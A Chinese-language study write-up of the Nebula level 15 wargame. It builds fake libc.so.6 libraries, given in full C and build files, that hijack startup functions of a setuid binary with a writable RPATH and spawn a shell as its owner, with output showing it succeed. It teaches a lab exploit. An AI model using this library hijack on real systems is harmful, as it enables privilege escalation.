动态链接库劫持--libc

动态链接库劫持--libc

概述

动态链接库劫持,本文是做这个题目的笔记:Exploit Exercises - Nebula 15。

Exploit Exercises - Nebula 15

2.1 问题描述

根据题目的要求,我们需要用strace命令观察flag15的系统调用情况。

 

最终目标是通过这个程序拿到flag。

 

整个过程都是在调用一个叫libc.so.6的动态链接库:

level15@nebula:/home/flag15$ strace ./flag15

execve("./flag15", ["./flag15"], [/* 16 vars */]) = 0

brk(0)                                  = 0x99ef000

access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)

mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c3000

access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/i686", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/tls", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=100, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY)      = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0

mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78ba000

close(3)                                = 0

access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)

open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0

mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4fe000

mmap2(0x674000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x674000

mmap2(0x677000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x677000

close(3)                                = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b9000

set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b98d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0

mprotect(0x674000, 8192, PROT_READ)     = 0

mprotect(0x8049000, 4096, PROT_READ)    = 0

mprotect(0xe86000, 4096, PROT_READ)     = 0

munmap(0xb78ba000, 33815)               = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c2000

write(1, "strace it!\n", 11strace it!

)            = 11

exit_group(11)                          = ?

level15@nebula:/home/flag15$

 2.2 思路

主要思路:

1. 生成libc.so.6

2. 劫持程序的导入函数或者利用_init函数

__libc_start_main

__gmon_start__

Puts

3. 劫持函数中可以执行system(“/bin/sh”)

4. System函数可以来自系统的libc.so.6,这需要静态链接libgcc;

5. System函数也可以是自定义实现的

 

为了实现目标,首先要知道SO的路径名称、导入表中有哪些信息

查看Dynamic section

可以看到名称为libc.so.6,路径为/var/tmp/flag15

level15@nebula:/home/flag15$ readelf -d ./flag15

 

Dynamic section at offset 0xf20 contains 21 entries:

  Tag        Type                         Name/Value

 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

 0x0000000c (INIT)                       0x80482c0

 

查看重定位表

可以看到导入了3个函数:puts、__gmon_start__、__libc_start_main;

level15@nebula:/var/tmp/flag15$ readelf -r /home/flag15/flag15 

 

Relocation section '.rel.dyn' at offset 0x2a0 contains 1 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

08049ff0  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

 

Relocation section '.rel.plt' at offset 0x2a8 contains 3 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

0804a000  00000107 R_386_JUMP_SLOT   00000000   puts

0804a004  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__

0804a008  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main

 

查看版本信息

level15@nebula:/home/flag15$ readelf -V ./flag15

 

Version symbols section '.gnu.version' contains 5 entries:

 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)

  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  

  004:   1 (*global*)   

 

Version needs section '.gnu.version_r' contains 1 entries:

 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)

  000000: Version: 1  File: libc.so.6  Cnt: 1

  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

2.3 劫持__libc_start_main

参考https://mike-boya.github.io/blog/2016/02/22/exploit-exercises-nebula-level15/

 

Dummy_libc.c

#include <stdlib.h>

 

int __libc_start_main(int (*main) (int, char * *, char * *),

int argc, char * * ubp_av,

void (*init) (void), void (*fini) (void),

void (*rtld_fini) (void), void (* stack_end)) {

system("/bin/sh");

return 0;

}

 

Version.ld

GLIBC_2.0 {

    };

 

Makefile

build:

    gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic dummy_libc.c -o libc.so.6

 

l -static:链接静态库文件

l -static-libgcc:链接libgcc静态库

    -shared-libgcc:链接libgcc共享库

构建共享库和可执行程序时,默认为链接libgcc共享库

l gcc使用-Wl传递连接器参数

l ld使用-Bdynamic强制链接动态库,-Bstatic强制链接静态库。

l ld使用--version-script指定版本脚本

l 注意:静态链接libgcc必须配合使用-static-libgcc和-Wl,-Bstatic

 

结果

level15@nebula:/home/flag15$ ./flag15

sh-4.2$ id

uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)

sh-4.2$ getflag

You have successfully executed getflag on a target account

sh-4.2$ exit

exit

Segmentation fault

2.4 劫持puts

修改Dummy_libc.c

int puts(const char *s)

{

system("/bin/sh");

return 0;

}

 

结果

level15@nebula:/home/flag15$ ./flag15

./flag15: relocation error: ./flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

 

注意:puts的执行在__libc_start_main之后;所以还要实现__libc_start_main。

 

继续修改dummy_libc.c

#include <stdlib.h>

 

int __libc_start_main(int (*main) (int, char * *, char * *),

int argc, char * * ubp_av,

void (*init) (void), void (*fini) (void),

void (*rtld_fini) (void), void (* stack_end)) {

main(argc, ubp_av, 0);

return 0;

}

 

int puts(const char *s)

{

system("/bin/sh");

return 0;

}

 

结果

level15@nebula:/home/flag15$ ./flag15

sh-4.2$ id

uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)

sh-4.2$ getflag

You have successfully executed getflag on a target account

sh-4.2$ exit

exit

Segmentation fault

2.5 劫持__gmon_start__

修改dummy_libc.c

void __gmon_start__(void)

{

system("/bin/sh");

}

 

执行结果:

level15@nebula:/home/flag15$ ./flag15

sh-4.2$ id

uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)

sh-4.2$ getflag

You have successfully executed getflag on a target account

sh-4.2$ exit

exit

./flag15: relocation error: ./flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

 

注意:__gmon_start在__libc_start_main之前执行;

因此执行完毕后又报告没有找到__libc_start_main;

2.6 使用自定义system函数

之前使用的都是libc中的system函数,我们假冒的libc静态链接了系统的libc库。

这里不使用系统的libc库。

 

大小上可以看出来:

-rwxrwxr-x 1 level15 level15 779369 2018-04-02 18:56 libc.b*

-rwxrwxr-x 1 level15 level15   5545 2018-04-04 00:13 libc.so.6*

Libc.b是静态链接系统libc的库;

Libc.so.6是不使用系统libc的版本;

 

不使用系统的libc库时,覆盖__gmon_start__函数就没有用了。

 

Dummy_libc.c

#define __NR_execve 11

#define __NR_geteuid32 201

#define __NR_setreuid32 203

 

long system(const char *command) {

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_execve), "b"(command), "c"(0), "d" (0) );

return ret;

}

 

int geteuid()

{

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_geteuid32) );

return ret;

}

 

int setreuid(int ruid, int euid)

{

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_setreuid32), "b"(ruid), "c"(euid) );

return ret;

}

 

void getshell(void)

{

int euid;

 

euid = geteuid();

setreuid(euid, euid);

system("/bin/sh");

}

 

int __libc_start_main(int (*main) (int, char * *, char * *),

int argc, char * * ubp_av,

void (*init) (void), void (*fini) (void),

void (*rtld_fini) (void), void (* stack_end)) {

getshell();

return 0;

}

 

Version.ld

GLIBC_2.0 {

    };

GLIBC_2.1.3 {

    };

 

Makefile

build:

    gcc -shared -nostdlib -nostdinc -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6

 

结果

level15@nebula:/home/flag15$ ./flag15

flag15@nebula:/home/flag15$ id

uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

flag15@nebula:/home/flag15$ getflag

You have successfully executed getflag on a target account

flag15@nebula:/home/flag15$ exit

exit

 

注意:

l 如果不使用setreuid,则得到的是普通的shell,ruid和euid不会修改为文件的所有者;

GCC内联汇编和-fPIC/-fpic选项有冲突。原因是位置无关代码使用了GOT表,而EBX指向GOT表。因而-fPIC/-fpic编译时,GCC内联汇编中不允许使用EBX。

level15@nebula:/var/tmp/flag15$ gcc -shared -nostdlib -nostdinc -fPIC -fpic -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6

dummy_libc.c: In function ‘system’:

dummy_libc.c:8:5: error: inconsistent operand constraints in an ‘asm’

2.7 利用_init函数

so在被加载之前,会执行init段的代码。在结束的时候,会执行fini段的代码。

 

下面是使用自定义system函数重写_init函数的代码(其它文件见上节):

#define __NR_execve 11

#define __NR_geteuid32 201

#define __NR_setreuid32 203

 

long system(const char *command) {

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_execve), "b"(command), "c"(0), "d" (0) );

return ret;

}

 

int geteuid()

{

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_geteuid32) );

return ret;

}

 

int setreuid(int ruid, int euid)

{

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_setreuid32), "b"(ruid), "c"(euid) );

return ret;

}

 

void getshell(void)

{

int euid;

 

euid = geteuid();

setreuid(euid, euid);

system("/bin/sh");

}

 

//void __attribute__((constructor)) init()

void _init()

{

getshell();

}

 

当然,也可以使用libc的system函数:

#include <stdio.h>

 

void __attribute__((constructor)) init()

{

system("/bin/sh");

}

level15@nebula:/var/tmp/flag15$ cat makefile

build:

        gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic dummy_libc.c -o libc.so.6

 

2.8 测试中的问题

2.8.1 no version information available

【现象】

dummy_libc.c

#include<stdio.h>

 

int __libc_start_main(int (*main) (int, char * *, char * *),

int argc, char * * ubp_av,

void (*init) (void), void (*fini) (void),

void (*rtld_fini) (void), void (* stack_end)) {

system("/bin/sh");

return 0;

}

 

首先,这样生成共享库是不行的:

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC  dummy_libc.c -o libc.so.6

 

报错如下:

level15@nebula:/home/flag15$ ./flag15

./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15)

./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)

./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)

./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

 

【原因】

no version information available (required by ./flag15)

原因:程序运行时链接的共享库的版本和程序构建时链接的共享库的版本不匹配。

 

这个例子中,构建时libc版本号为2.0,运行时为2.13

(PS:高版本为什么不支持低版本?)

 

查看构建时的动态库版本号

level15@nebula:/home/flag15$ readelf -V ./flag15

 

Version symbols section '.gnu.version' contains 5 entries:

 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)

  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  

  004:   1 (*global*)   

 

Version needs section '.gnu.version_r' contains 1 entries:

 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)

  000000: Version: 1  File: libc.so.6  Cnt: 1

  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

 

查看运行时的动态库版本号

level15@nebula:/home/flag15$ /lib/i386-linux-gnu/libc.so.6

GNU C Library (Ubuntu EGLIBC 2.13-20ubuntu5) stable release version 2.13, by Roland McGrath et al.

level15@nebula:/home/flag15$ ldd --version

ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13

 

现在给链接器传递版本信息

level15@nebula:/var/tmp/flag15$ cat version.ld

GLIBC_2.0 {

};

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6

 

运行结果如下:

level15@nebula:/home/flag15$ ./flag15  

./flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)

2.8.2 version `GLIBC_2.1.3' not found

疑问:这个问题和no version information available的区别?

原因:GLIBC版本不匹配

 

查看版本信息:

.gnu.version中没有2.1.3

.gnu.version_r中有2.1.3

.gnu.version_d中没有2.1.3

level15@nebula:/home/flag15$ readelf -V /var/tmp/flag15/libc.so.6

 

Version symbols section '.gnu.version' contains 12 entries:

 Addr: 00000000000002c8  Offset: 0x0002c8  Link: 3 (.dynsym)

  000:   0 (*local*)       3 (GLIBC_2.1.3)   4 (GLIBC_2.0)     0 (*local*)    

  004:   0 (*local*)       1 (*global*)      1 (*global*)      2 (GLIBC_2.0)  

  008:   1 (*global*)      1 (*global*)      1 (*global*)      1 (*global*)   

 

Version definition section '.gnu.version_d' contains 2 entries:

  Addr: 0x00000000000002e0  Offset: 0x0002e0  Link: 4 (.dynstr)

  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6

  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

 

Version needs section '.gnu.version_r' contains 1 entries:

 Addr: 0x0000000000000318  Offset: 0x000318  Link: 4 (.dynstr)

  000000: Version: 1  File: libc.so.6  Cnt: 2

  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 4

  0x0020:   Name: GLIBC_2.1.3  Flags: none  Version: 3

 

修改

level15@nebula:/var/tmp/flag15$ cat version.ld

GLIBC_2.0 {

    };

GLIBC_2.1.3 {

    };

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6

 

现在3个节中都有版本信息了:

level15@nebula:/home/flag15$ readelf -V /var/tmp/flag15/libc.so.6

 

Version symbols section '.gnu.version' contains 13 entries:

 Addr: 00000000000002dc  Offset: 0x0002dc  Link: 3 (.dynsym)

  000:   0 (*local*)       4 (GLIBC_2.1.3)   5 (GLIBC_2.0)     0 (*local*)    

  004:   0 (*local*)       1 (*global*)      1 (*global*)      2 (GLIBC_2.0)  

  008:   1 (*global*)      1 (*global*)      1 (*global*)      3 (GLIBC_2.1.3)

  00c:   1 (*global*)   

 

Version definition section '.gnu.version_d' contains 3 entries:

  Addr: 0x00000000000002f8  Offset: 0x0002f8  Link: 4 (.dynstr)

  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6

  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

  0x0038: Rev: 1  Flags: WEAK   Index: 3  Cnt: 1  Name: GLIBC_2.1.3

 

Version needs section '.gnu.version_r' contains 1 entries:

 Addr: 0x000000000000034c  Offset: 0x00034c  Link: 4 (.dynstr)

  000000: Version: 1  File: libc.so.6  Cnt: 2

  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 5

  0x0020:   Name: GLIBC_2.1.3  Flags: none  Version: 4

 

但是仍然出错了

level15@nebula:/home/flag15$ ./flag15

./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

2.8.3 symbol __cxa_finalize not defined

疑问:/var/tmp/flag15/libc.so.6动态链接了/lib/i386-linux-gnu/libc.so.6,为什么还有上面的版本问题,为什么还有符号找不到呢?

 

level15@nebula:/var/tmp/flag15$ ldd ./libc.so.6

        linux-gate.so.1 =>  (0x00212000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00908000)

        /lib/ld-linux.so.2 (0x00f9c000)

level15@nebula:/var/tmp/flag15$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep __cxa_finalize

  1945: 00032c80   319 FUNC    GLOBAL DEFAULT   12 __cxa_finalize@@GLIBC_2.1.3

level15@nebula:/var/tmp/flag15$ readelf -s ./libc.so.6 | grep __cxa_finalize         

     1: 00000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.1.3 (4)

    48: 00000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@@GLIBC_2.1

 

定义__cxa_finalize(dummy_libc.c中增加以下定义)

void __cxa_finalize(void)

{

  return;

}

 

仍然报错

level15@nebula:/home/flag15$ ./flag15

./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

2.8.4 symbol system not defined

如果使用-nostdlib选项

gcc -shared -nostdlib -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6

则出错如下:

level15@nebula:/home/flag15$ ./flag15

./flag15: symbol lookup error: /var/tmp/flag15/libc.so.6: undefined symbol: system

 

dummy_libc.c

//#include <stdlib.h>

 

void __cxa_finalize(void)

{

return;

}

 

extern long system(const char *command);

#if 0

long system(const char *command) {

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (11), "b"(command), "c"(0), "d" (0) : "memory");

return ret;

}

#endif

 

int __libc_start_main(int (*main) (int, char * *, char * *),

int argc, char * * ubp_av,

void (*init) (void), void (*fini) (void),

void (*rtld_fini) (void), void (* stack_end)) {

system("/bin/sh");

return 0;

}

 

System.c

long system(const char *command) {

long ret;

asm volatile ("int $0x80" : "=a" (ret) : "a" (11), "b"(command), "c"(0), "d" (0) : "memory");

return ret;

}

 

Makefile

build:

        gcc system.c -c -o system.o

        gcc -shared -nostdlib -fPIC -Wl,--version-script=version.ld dummy_libc.c system.o -o libc.so.6

 

但是运行结果是这样的:

(PS:原因时没有setreuid)

level15@nebula:/home/flag15$ ./flag15

bash-4.2$ id

uid=1016(level15) gid=1016(level15) groups=1016(level15)

bash-4.2$ getflag

getflag is executing on a non-flag account, this doesn't count

bash-4.2$ exit

  3 结论

l 劫持libc的主要过程:

1. 生成libc.so.6

2. 劫持程序的导入函数或者利用_init函数

__libc_start_main

__gmon_start__

3. 劫持函数中可以执行system(“/bin/sh”)

4. System函数可以来自系统的libc.so.6,这需要静态链接libgcc;

5. System函数也可以是自定义实现的

 

l 自定义system函数需要使用setreuid,否则得到的是普通的shell

GCC系统调用内联汇编和-fPIC/-fpic选项有冲突。原因是位置无关代码使用了GOT表,而EBX指向GOT表。因而-fPIC/-fpic编译时,GCC内联汇编中不允许使用EBX。

解决方法是要么不使用-fPIC/-fpic,要么将内联汇编独立到单独的文件,单独编译;

参考资料

1. https://exploit-exercises.com/nebula/level01/

2. Version Scripthttps://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_25.html

3. Command Line Optionshttps://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_3.html

4. EXPLOIT EXERCISES NEBULA LEVEL15https://mike-boya.github.io/blog/2016/02/22/exploit-exercises-nebula-level15/

5. https://github.com/1u4nx/Exploit-Exercises-Nebula/blob/master/Level15——动态链接库劫持.org

 

 

 

 

猜你喜欢

转载自blog.csdn.net/luozhaotian/article/details/79819247
今日推荐